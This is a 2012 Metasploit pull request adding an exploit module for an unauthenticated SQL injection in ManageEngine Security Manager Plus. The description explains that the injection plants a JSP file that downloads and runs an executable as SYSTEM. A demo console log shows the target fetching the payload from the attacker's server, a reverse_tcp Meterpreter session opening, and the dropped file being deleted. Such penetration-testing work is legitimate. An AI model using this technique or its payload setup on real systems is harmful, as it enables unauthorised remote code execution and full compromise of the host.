rapid7/metasploit-framework — pull request #953 by wchen-r7 (2012-10-23 07:08:47+00:00)
Title: Add ManageEngine Security Manager AdvanceSearch Module

Originally based on xistence Metasploit PoC from Exploit-DB.

This module exploits a SQL injection found in ManageEngine Security Manager Plus advanced search page. It will send a malicious SQL query to create a JSP file under the web root directory, and then let it download and execute our malicious executable under the context of SYSTEM. Authentication is not required in order to exploit this vulnerability.

Demo:

msf exploit(manage_engine_sqli) > show options

Module options (exploit/windows/http/manage_engine_sqli):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 10.0.1.6 yes The target address
RPORT 6262 yes The target port
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VHOST no HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 10.0.1.3 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Windows Universal

msf exploit(manage_engine_sqli) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.1.3:4444
msf exploit(manage_engine_sqli) > [*] Serving executable on 0.0.0.0:8080
[*] Server started.
[*] 10.0.1.6:6262 - Sending JSP payload
[*] 10.0.1.6:6262 - Sending /hgPw.jsp
[*] 10.0.1.6:2750 - Sending executable (100045 bytes)
[*] Sending stage (752128 bytes) to 10.0.1.6
[*] Meterpreter session 1 opened (10.0.1.3:4444 -> 10.0.1.6:2751) at 2012-10-23 02:03:11 -0500
[!] 10.0.1.6:6262 - Deleting: hgPw.jsp
[+] 10.0.1.6:6262 - hgPw.jsp deleted

msf exploit(manage_engine_sqli) >